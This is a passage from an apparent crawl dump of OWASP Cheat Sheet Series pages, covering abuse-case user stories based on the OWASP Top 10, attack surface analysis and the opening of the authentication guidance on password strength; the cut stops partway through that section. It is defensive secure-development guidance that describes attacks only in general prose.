Make a note in the documentation or schema to indicate that *This design/network/infrastructure takes into account the abuse cases ABUSE_CASE_001, ABUSE_CASE_002, ABUSE_CASE_xxx* .\n- **Code level**\n - Put a special comment in the classes/scripts/modules to indicate that *This class/module/script takes into account the abuse cases ABUSE_CASE_001, ABUSE_CASE_002, ABUSE_CASE_xxx* .\n - Dedicated annotation like `@AbuseCase(ids={\"ABUSE_CASE_001\",\"ABUSE_CASE_002\"})` can be used to facilitate tracking and allow identification into integrated development environment.\n\nUsing this way, it becomes possible (via some minor scripting) to identify where abuse cases are addressed.\n\n#### Step 5: During implementation - Abuse cases handling validation¶\n\nAs abuse cases are defined, it is possible to put in place automated or manual validations to ensure that:\n\n- All the selected abuse cases are handled.\n- An abuse case is correctly/completely handled.\n\nValidations can be of the following varieties:\n\n- Automated (run regularly at commit, daily or weekly in the Continuous Integration Jobs of the project):\n - Custom audit rules in Static Application Security Testing (SAST) or Dynamic Application Security Testing (DAST) tools.\n - Dedicated unit, integration or functional security oriented tests.\n - ...\n- Manual:\n - Security code review between project's peers during the design or implementation.\n - Provide the list of all abuse cases addressed to pentesters so that they may validate the protection efficiency for each abuse case during an intrusion test against the application (the pentester will validate that the attacks identified are no longer effective and will also try to find other possible attacks).\n - ...\n\nAdding automated tests also allow teams to track the effectiveness of countermeasures against abuse cases and determine if the countermeasures are still in place during a maintenance or bug fixing phase of a project (to prevent accidental removal/disabling). It is also useful when a [Continuous Delivery](https://continuousdelivery.com/) approach is used, to ensure that all abuse cases protections are in place before opening access to the application.\n\n### Example of derivation of Abuse Cases as User Stories¶\n\nThe following section shows an example of derivation of Abuse Cases as User Stories, here using the [OWASP TOP 10](https://owasp.org/www-project-top-ten/) as input source.\n\nThreat Oriented Personas:\n\n- Malicious User\n- Abusive User\n- Unknowing User\n\n#### A1:2017-Injection¶\n\n*Epic:*\n\nAlmost any source of data can be an injection vector, environment variables, parameters, external and internal web services, and all types of users. [Injection](https://owasp.org/www-community/Injection_Flaws) flaws occur when an attacker can send hostile data to an interpreter.\n\n*Abuse Case:*\n\nAs an attacker, I will perform an injection attack (SQL, LDAP, XPath, or NoSQL queries, OS commands, XML parsers, SMTP headers, expression languages, and ORM queries) against input fields of the User or API interfaces\n\n#### A2:2017-Broken Authentication¶\n\n*Epic:*\n\nAttackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default administrative account lists, automated brute force, and dictionary attack tools. Session management attacks are well understood, particularly in relation to unexpired session tokens.\n\n*Abuse Case:*\n\nAs an attacker, I have access to hundreds of millions of valid username and password combinations for credential stuffing.\n\n*Abuse Case:*\n\nAs an attacker, I have default administrative account lists, automated brute force, and dictionary attack tools I use against login areas of the application and support systems.\n\n*Abuse Case:*\n\nAs an attacker, I manipulate session tokens using expired and fake tokens to gain access.\n\n#### A3:2017-Sensitive Data Exposure¶\n\n*Epic:*\n\nRather than directly attacking crypto, attackers steal keys, execute man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user's client, e.g. browser. A manual attack is generally required. Previously retrieved password databases could be brute forced by Graphics Processing Units (GPUs).\n\n*Abuse Case:*\n\nAs an attacker, I steal keys that were exposed in the application to get unauthorized access to the application or system.\n\n*Abuse Case:*\n\nAs an attacker, I execute man-in-the-middle attacks to get access to traffic and leverage it to obtain sensitive data and possibly get unauthorized access to the application.\n\n*Abuse Case:*\n\nAs an attacker, I steal clear text data off the server, while in transit, or from the user's client, e.g. browser to get unauthorized access to the application or system.\n\n*Abuse Case:*\n\nAs an attacker, I find and target old or weak cryptographic algorithms by capturing traffic and breaking the encryption.\n\n#### A4:2017-XML External Entities (XXE)¶\n\n*Epic:*\n\nAttackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations.\n\n*Abuse Case:*\n\nAs an attacker, I exploit vulnerable areas of the application where the user or system can upload XML to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks.\n\n*Abuse Case:*\n\nAs an attacker, I include hostile content in an XML document which is uploaded to the application or system to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks.\n\n*Abuse Case:*\n\nAs an attacker, I include malicious XML code to exploit vulnerable code, dependencies or integrations to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack (e.g. Billion Laughs attack), as well as execute other attacks.\n\n#### A5:2017-Broken Access Control¶\n\n*Epic:*\n\nExploitation of access control is a core skill of attackers. Access control is detectable using manual means, or possibly through automation for the absence of access controls in certain frameworks.\n\n*Abuse Case:*\n\nAs an attacker, I bypass access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API attack tool.\n\n*Abuse Case:*\n\nAs an attacker, I manipulate the primary key and change it to access another's users record, allowing viewing or editing someone else's account.\n\n*Abuse Case:*\n\nAs an attacker, I manipulate sessions, access tokens, or other access controls in the application to act as a user without being logged in, or acting as an admin/privileged user when logged in as a user.\n\n*Abuse Case:*\n\nAs an attacker, I leverage metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges or abusing JWT invalidation.\n\n*Abuse Case:*\n\nAs an attacker, I exploit Cross-Origin Resource Sharing CORS misconfiguration allowing unauthorized API access.\n\n*Abuse Case:*\n\nAs an attacker, I force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user.\n\n*Abuse Case:*\n\nAs an attacker, I access APIs with missing access controls for POST, PUT and DELETE.\n\n*Abuse Case:*\n\nAs an attacker, I target default crypto keys in use, weak crypto keys generated or re-used, or keys where rotation is missing.\n\n*Abuse Case:*\n\nAs an attacker, I find areas where the user agent (e.g. app, mail client) does not verify if the received server certificate is valid and perform attacks where I get unauthorized access to data.\n\n#### A6:2017-Security Misconfiguration¶\n\n*Epic:*\n\nAttackers will often attempt to exploit unpatched flaws or access default accounts, unused pages, unprotected files and directories, etc to gain unauthorized access or knowledge of the system.\n\n*Abuse Case:*\n\nAs an attacker, I find and exploit missing appropriate security hardening configurations on any part of the application stack, or improperly configured permissions on cloud services.\n\n*Abuse Case:*\n\nAs an attacker, I find unnecessary features which are enabled or installed (e.g. unnecessary ports, services, pages, accounts, or privileges) and attack or exploit the weakness.\n\n*Abuse Case:*\n\nAs an attacker, I use default accounts and their passwords to access systems, interfaces, or perform actions on components which I should not be able to.\n\n*Abuse Case:*\n\nAs an attacker, I find areas of the application where error handling reveals stack traces or other overly informative error messages I can use for further exploitation.\n\n*Abuse Case:*\n\nAs an attacker, I find areas where upgraded systems, latest security features are disabled or not configured securely.\n\n*Abuse Case:*\n\nAs an attacker, I find security settings in the application servers, application frameworks (e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure values.\n\n*Abuse Case:*\n\nAs an attacker, I find the server does not send security headers or directives or are set to insecure values.\n\n#### A7:2017-Cross-Site Scripting (XSS)¶\n\n*Epic:*\n\nXSS is the second most prevalent issue in the OWASP Top 10, and is found in around two-thirds of all applications.\n\n*Abuse Case:*\n\nAs an attacker, I perform reflected XSS where the application or API includes unvalidated and unescaped user input as part of HTML output. My successful attack can allow the attacker to execute arbitrary HTML and JavaScript in my victim's browser. Typically the victim will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.\n\n*Abuse Case:*\n\nAs an attacker, I perform stored XSS where the application or API stores unsanitized user input that is viewed at a later time by another user or an administrator.\n\n*Abuse Case:*\n\nAs an attacker, I perform DOM XSS where JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page is vulnerable to DOM XSS.\n\n#### A8:2017-Insecure Deserialization¶\n\n*Epic:*\n\nExploitation of deserialization is somewhat difficult, as off-the-shelf exploits rarely work without changes or tweaks to the underlying exploit code.\n\n*Abuse Case:*\n\nAs an attacker, I find areas of the application and APIs where deserialization of hostile or tampered objects can be supplied. As a result, I can focus on an object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization. Or I focus on data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.\n\n#### A9:2017-Using Components with Known Vulnerabilities¶\n\n*Epic:*\n\nWhile it is easy to find already-written exploits for many known vulnerabilities, other vulnerabilities require concentrated effort to develop a custom exploit.\n\n*Abuse Case:*\n\nAs an attacker, I find common open source or closed source packages with weaknesses and perform attacks against vulnerabilities and exploits which are disclosed\n\n#### A10:2017-Insufficient Logging & Monitoring¶\n\n*Epic:*\n\nExploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. Attackers rely on the lack of monitoring and timely response to achieve their goals without being detected. In 2016, identifying a breach took an [average of 191 days](https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?htmlfid=SEL03130WWEN) allowing substantial chance for damage to be inflicted.\n\n*Abuse Case:*\n\nAs an attacker, I attack an organization and the logs, monitoring systems, and teams do not see or respond to my attacks.\n\n## Sources of the schemas¶\n\nAll figures were created using [https://www.draw.io/](https://www.draw.io/) site and exported (as PNG image) for integration into this article.\n\nAll XML descriptor files for each schema are available below (using XML description, modification of the schema is possible using DRAW.IO site):\n\n[Schemas descriptors archive](../assets/Abuse_Case_Cheat_Sheet_SchemaBundle.zip)", "znaku_textu": 26529, "slov": 4030, "odkazu": 172, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:34", "sha256": "4837daa1ae2ba386e161f0a749f3b7a2623522c1ae92daee02e665e2947fa815", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://www.synopsys.com/blogs/software-security/abuse-cases-can-drive-security-requirements.html", "https://owasp.org/www-project-samm/", "https://owaspsamm.org/model/verification/requirements-driven-testing/stream-b/", "https://www.first.org/cvss/calculator/3.0", "https://owasp.org/www-project-automated-threats-to-web-applications/", "https://owasp.org/www-project-web-security-testing-guide/stable/", "https://github.com/OWASP/owasp-mstg", "https://capec.mitre.org/", "https://continuousdelivery.com/", "https://owasp.org/www-project-top-ten/", "https://owasp.org/www-community/Injection_Flaws", "https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?htmlfid=SEL03130WWEN", "https://www.draw.io/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html", "titulek": "Access Control - OWASP Cheat Sheet Series", "h1": "DEPRECATED: Access Control Cheatsheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "DEPRECATED: Access Control Cheatsheet¶"}], "markdown": "# DEPRECATED: Access Control Cheatsheet¶\n\nThe Access Control cheatsheet has been deprecated.\n\nPlease visit the [Authorization Cheatsheet](Authorization_Cheat_Sheet.html) instead.", "znaku_textu": 174, "slov": 17, "odkazu": 131, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:35", "sha256": "e57e6488bfc378f53bf07b3e6b8cc93d09fc6bb98d32393bcade8b76870fa56d", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html", "titulek": "Attack Surface Analysis - OWASP Cheat Sheet Series", "h1": "Attack Surface Analysis Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Attack Surface Analysis Cheat Sheet¶"}, {"uroven": 2, "text": "What is Attack Surface Analysis and Why is it Important¶"}, {"uroven": 2, "text": "Defining the Attack Surface of an Application¶"}, {"uroven": 3, "text": "Microservice and Cloud Native Applications¶"}, {"uroven": 2, "text": "Identifying and Mapping the Attack Surface¶"}, {"uroven": 2, "text": "Measuring and Assessing the Attack Surface¶"}, {"uroven": 2, "text": "Managing the Attack Surface¶"}], "markdown": "# Attack Surface Analysis Cheat Sheet¶\n\n## What is Attack Surface Analysis and Why is it Important¶\n\nThis article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (e.g. malware injection, social engineering attacks), and there is less focus on insider threats, although the principles remain the same. The internal attack surface is likely to be different from the external attack surface and some users may have a lot of access.\n\nAttack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.\n\nWhile Attack Surface Analysis is usually done by security architects and pen testers, developers should understand and monitor the Attack Surface as they design and build and change a system.\n\nAttack Surface Analysis helps you to:\n\n1. identify what functions and what parts of the system you need to review/test for security vulnerabilities\n2. identify high risk areas of code that require defense-in-depth protection - what parts of the system that you need to defend\n3. identify when you have changed the attack surface and need to do some kind of threat assessment\n\n## Defining the Attack Surface of an Application¶\n\nThe Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.\n\nThe Attack Surface of an application is:\n\n1. the sum of all paths for data/commands into and out of the application, and\n2. the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding)\n3. all valuable data used in the application, including secrets and keys, intellectual property, critical business data, personal data and PII, and\n4. the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).\n\nYou overlay this model with the different types of users - roles, privilege levels - that can access the system (whether authorized or not). Complexity increases with the number of different types of users. It is important to focus on the two extremes: unauthenticated, anonymous users and highly privileged admin users (e.g. database administrators, system administrators).\n\nGroup each type of attack point into buckets based on risk (external-facing or internal-facing), purpose, implementation, design and technology. Then, count the number of attack points of each type. Next, choose some cases for each type. Finally, focus your review/assessment on those cases.\n\nWith this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. This enables you to budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.\n\n### Microservice and Cloud Native Applications¶\n\nMicroservice and Cloud Native applications are comprised of multiple smaller components, loosely coupled using APIs and independently scalable. When assessing the attack surface for applications of this architectural style, you should prioritize the components that are reachable from an attack source (e.g. external traffic from the Internet). Such components may be located behind tiers of proxies, load balancers and ingress controllers, and may auto-scale without warning.\n\nOpen source tooling such as [Cilium Hubble](https://github.com/cilium/hubble) and [kubeshark](https://github.com/kubeshark/kubeshark) assist in visualizing the attack surface for Kubernetes and service-mesh deployments.\n\n## Identifying and Mapping the Attack Surface¶\n\nYou can start building a baseline description of the Attack Surface in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Read through the source code and identify different points of entry/exit:\n\n- User interface (UI) forms and fields\n- HTTP headers and cookies\n- APIs\n- Files\n- Databases\n- Other local storage\n- Email or other kinds of messages\n- Runtime arguments\n- ...Your points of entry/exit\n\nThe total number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:\n\n- Login/authentication entry points\n- Admin interfaces\n- Inquiries and search functions\n- Data entry (CRUD) forms\n- Business workflows\n- Transactional interfaces/APIs\n- Operational command and monitoring interfaces/APIs\n- Interfaces with other applications/systems\n- ...Your types\n\nYou also need to identify the valuable data (e.g. confidential, sensitive, regulated) in the application, by interviewing developers and users of the system, and again by reviewing the source code.\n\nYou can also build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like [ZAP](https://www.zaproxy.org/), [Arachni](http://arachni-scanner.com/), [Skipfish](https://code.google.com/p/skipfish/), [w3af](https://docs.w3af.org), or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web. Some web application firewalls (WAFs) may also be able to export a model of the application's entry points.\n\nValidate and fill in your understanding of the Attack Surface by walking through some of the main use cases in the system: signing up and creating a user profile, logging in, searching for an item, placing an order, changing an order, and so on. Follow the flow of control and data through the system, see how information is validated and where it is stored, what resources are touched and what other systems are involved. There is a recursive relationship between Attack Surface Analysis and [Application Threat Modeling](https://owasp.org/www-community/Application_Threat_Modeling): changes to the Attack Surface should trigger threat modeling, and threat modeling helps you to understand the Attack Surface of the application.\n\nThe Attack Surface model may be rough and incomplete to start, especially if you haven't done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and realize that your understanding of the Attack Surface has improved.\n\n## Measuring and Assessing the Attack Surface¶\n\nOnce you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access.\n\n- Network-facing, especially internet-facing code\n- Web forms\n- Files from outside of the network\n- Backward compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions\n- Custom APIs – protocols etc – likely to have mistakes in design and implementation\n- Security code: anything to do with cryptography, authentication, authorization (access control) and session management\n\nThese are often where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls, and intrusion detection or prevention systems to help protect your application.\n\nMichael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [Relative Attack Surface Quotient (RSQ)](https://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf). Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [Attack Surface Metric](https://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf) for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC endpoints, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.\n\nNote that deploying multiple versions of an application, leaving features in that are no longer used just in case they may be needed in the future, or leaving old backup copies and unused code increases the Attack Surface. Source code control and robust change management/configurations practices should be used to ensure the actual deployed Attack Surface matches the theoretical one as closely as possible.\n\nBackups of code and data - online, and on offline media - are an important but often ignored part of a system's Attack Surface. Protecting your data and IP by writing secure software and hardening the infrastructure will all be wasted if you hand everything over to bad actors by not protecting your backups.\n\n## Managing the Attack Surface¶\n\nOnce you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:\n\n- What has changed?\n- What are you doing different? (technology, new approach, ….)\n- What holes could you have opened?\n\nThe first web page that you create opens up the system's Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven't increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.\n\nIf you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place.\n\nChanges to session management, authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Similarly for changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the runtime operating system.\n\nAs you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model, you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.\n\nThis kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.\n\nNormally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF) and real-time application-specific attack detection.", "znaku_textu": 13414, "slov": 2086, "odkazu": 145, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:36", "sha256": "7e9dc575a212efcb963150808abccba83c4c32aedc19e5c9f93c61e98eba334e", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://github.com/cilium/hubble", "https://github.com/kubeshark/kubeshark", "https://www.zaproxy.org/", "http://arachni-scanner.com/", "https://code.google.com/p/skipfish/", "https://docs.w3af.org/", "https://owasp.org/www-community/Application_Threat_Modeling", "https://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "titulek": "Authentication - OWASP Cheat Sheet Series", "h1": "Authentication Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Authentication Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Authentication General Guidelines¶"}, {"uroven": 3, "text": "User IDs¶"}, {"uroven": 3, "text": "Usernames¶"}, {"uroven": 3, "text": "Authentication Solution and Sensitive Accounts¶"}, {"uroven": 3, "text": "Implement Proper Password Strength Controls¶"}, {"uroven": 4, "text": "For more detailed information check¶"}, {"uroven": 3, "text": "Implement Secure Password Recovery Mechanism¶"}, {"uroven": 3, "text": "Store Passwords in a Secure Fashion¶"}, {"uroven": 3, "text": "Compare Password Hashes Using Safe Functions¶"}, {"uroven": 3, "text": "Change Password Feature¶"}, {"uroven": 3, "text": "Transmit Passwords Only Over TLS or Other Strong Transport¶"}, {"uroven": 3, "text": "Require Re-authentication for Sensitive Features¶"}, {"uroven": 3, "text": "Re-authentication After Risk Events¶"}, {"uroven": 4, "text": "When to Trigger Re-authentication¶"}, {"uroven": 4, "text": "Re-authentication Mechanisms¶"}, {"uroven": 4, "text": "Implementation Recommendations¶"}, {"uroven": 4, "text": "References¶"}, {"uroven": 3, "text": "Consider Strong Transaction Authentication¶"}, {"uroven": 4, "text": "TLS Client Authentication¶"}, {"uroven": 3, "text": "Authentication and Error Messages¶"}, {"uroven": 4, "text": "Authentication Responses¶"}, {"uroven": 5, "text": "Incorrect and correct response examples¶"}, {"uroven": 6, "text": "Password recovery¶"}, {"uroven": 6, "text": "Account creation¶"}, {"uroven": 5, "text": "Error Codes and URLs¶"}, {"uroven": 3, "text": "Protect Against Automated Attacks¶"}, {"uroven": 4, "text": "Multi-Factor Authentication¶"}, {"uroven": 5, "text": "Account Lockout¶"}, {"uroven": 4, "text": "CAPTCHA¶"}, {"uroven": 4, "text": "Security Questions and Memorable Words¶"}, {"uroven": 2, "text": "Logging and Monitoring¶"}, {"uroven": 2, "text": "Use of authentication protocols that require no password¶"}, {"uroven": 3, "text": "OAuth 2.0 and 2.1¶"}, {"uroven": 3, "text": "OpenID Connect (OIDC)¶"}, {"uroven": 4, "text": "OIDC implementation guidance¶"}, {"uroven": 3, "text": "SAML¶"}, {"uroven": 3, "text": "FIDO¶"}, {"uroven": 4, "text": "Hardware-backed Key Storage¶"}, {"uroven": 2, "text": "Password Managers¶"}, {"uroven": 2, "text": "Changing A User's Registered Email Address¶"}, {"uroven": 3, "text": "Recommended Process If the User HAS Multifactor Authentication Enabled¶"}, {"uroven": 3, "text": "Recommended Process If the User DOES NOT HAVE Multifactor Authentication Enabled¶"}, {"uroven": 3, "text": "Notes on the Above Processes¶"}, {"uroven": 2, "text": "Adaptive or Risk Based Authentication¶"}], "markdown": "# Authentication Cheat Sheet¶\n\n## Introduction¶\n\n**Authentication** (**AuthN**) is the process of verifying that an individual, entity, or website is who or what it claims to be by determining the validity of one or more authenticators (like passwords, fingerprints, or security tokens) that are used to back up this claim.\n\n**Digital Identity** is the unique representation of a subject engaged in an online transaction. A digital identity is always unique in the context of a digital service but does not necessarily need to be traceable back to a specific real-life subject.\n\n**Identity Proofing** establishes that a subject is actually who they claim to be. This concept is related to KYC concepts and it aims to bind a digital identity with a real person.\n\n**Session Management** is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict. The [Session Management Cheat Sheet](Session_Management_Cheat_Sheet.html) contains further guidance on the best practices in this area.\n\n## Authentication General Guidelines¶\n\n### User IDs¶\n\nThe primary function of a User ID is to uniquely identify a user within a system. Ideally, User IDs should be randomly generated to prevent the creation of predictable or sequential IDs, which could pose a security risk, especially in systems where User IDs might be exposed or inferred from external sources.\n\n### Usernames¶\n\nUsernames are easy-to-remember identifiers chosen by the user and used for identifying themselves when logging into a system or service. The terms User ID and username might be used interchangeably if the username chosen by the user also serves as their unique identifier within the system.\n\nUsers should be permitted to use their email address as a username, provided the email is verified during sign-up. Additionally, they should have the option to choose a username other than an email address. For information on validating email addresses, please visit the [input validation cheat sheet email discussion](Input_Validation_Cheat_Sheet.html#email-address-validation).\n\n### Authentication Solution and Sensitive Accounts¶\n\n- Do **NOT** allow login with sensitive accounts (i.e. accounts that can be used internally within the solution such as to a backend / middleware / database) to any front-end user interface\n- Do **NOT** use the same authentication solution (e.g. IDP / AD) used internally for unsecured access (e.g., public access / DMZ)\n\n### Implement Proper Password Strength Controls¶\n\nA key concern when using passwords for authentication is password strength. A \"strong\" password policy makes it difficult or even improbable for one to guess the password through either manual or automated means. The following characteristics define a strong password:\n\n- Password Length\n - **Minimum** length for passwords should be enforced by the application.\n - If MFA is enabled passwords **shorter than 8 characters** are considered to be weak ( [NIST SP800-63B](https://pages.nist.gov/800-63-4/sp800-63b.html#passwordver) ).\n - If MFA is not enabled passwords **shorter than 15 characters** are considered to be weak ( [NIST SP800-63B](https://pages.nist.gov/800-63-4/sp800-63b.html#passwordver) ).\n - **Maximum** password length should be **at least 64 characters** to allow passphrases ( [NIST SP800-63B](https://pages.nist.gov/800-63-4/sp800-63b.html#passwordlength) ). Note that certain implementations of hashing algorithms may cause [long password denial of service](https://www.acunetix.com/vulnerabilities/web/long-password-denial-of-service/) .\n - Longer passphrases are effective because they raise the number of guesses an attacker's dictionary or wordlist has to cover, not because of a precise entropy value: NIST notes that \"estimating entropy for user-chosen passwords is challenging\" and recommends length and blocklist checks (see below) over composition or entropy math ( [NIST SP800-63B, Strength of Passwords](https://pages.nist.gov/800-63-4/sp800-63b/passwords/#appA) ). Entropy estimates rely on assumptions about the search space and should be treated as illustrative rather than as absolute measures of password strength.\n - Attackers commonly use password guessing techniques that leverage common-password dictionaries and password lists, and may use previously compromised credentials in credential stuffing attacks. These behaviors are reflected in [MITRE ATT&CK T1110 – Brute Force](https://attack.mitre.org/techniques/T1110/) , including Password Guessing, Password Spraying, and Credential Stuffing. Screening passwords against blocklists helps prevent users from selecting passwords that are commonly used or already known to attackers, as recommended by [NIST SP 800-63B – Passwords](https://pages.nist.gov/800-63-4/sp800-63b/passwords/) .\n- Do not silently truncate passwords. The [Password Storage Cheat Sheet](Password_Storage_Cheat_Sheet.html#maximum-password-lengths) provides further guidance on how to handle passwords that are longer than the maximum length.\n- Allow usage of **all** characters including unicode and whitespace. There should be no password composition rules limiting the type of characters permitted. There should be no requirement for upper or lower case or numbers or special characters.\n- Ensure credential rotation when a password leak occurs, at the time of compromise identification or when authenticator technology changes. Avoid requiring periodic password changes; instead, encourage users to pick strong passwords and enable [Multifactor Authentication Cheat Sheet (MFA)](Multifactor_Authentication_Cheat_Sheet.html) . According to NIST guidelines, verifiers should not mandate arbitrary password changes (e.g., periodically).\n- Include a password strength meter to help users create a more complex password\n - [zxcvbn-ts library](https://github.com/zxcvbn-ts/zxcvbn) can be used for this purpose.\n - Other language implementations of zxcvbn [listed here](https://github.com/dropbox/zxcvbn?tab=readme-ov-file) ; however check the age and maturity of each example before use.\n- Block common and previously breached passwords\n - [Pwned Passwords](https://haveibeenpwned.com/Passwords) is a service where passwords can be checked against previously breached passwords. Details on the API [are here](https://haveibeenpwned.com/API/v3#PwnedPasswords) .\n - Alternatively, you can download the [Pwned Passwords](https://haveibeenpwned.com/Passwords) database [using this mechanism](https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader?tab=readme-ov-file#what-is-haveibeenpwned-downloader) to host it yourself.\n - Other top password lists are available but there is no guarantee as to how updated they are:\n - [Various password lists](https://github.com/danielmiessler/SecLists/tree/master/Passwords) hosted by SecLists from Daniel Miessler.\n\n#### For more detailed information check¶\n\n- [ASVS v5.0 Password Security 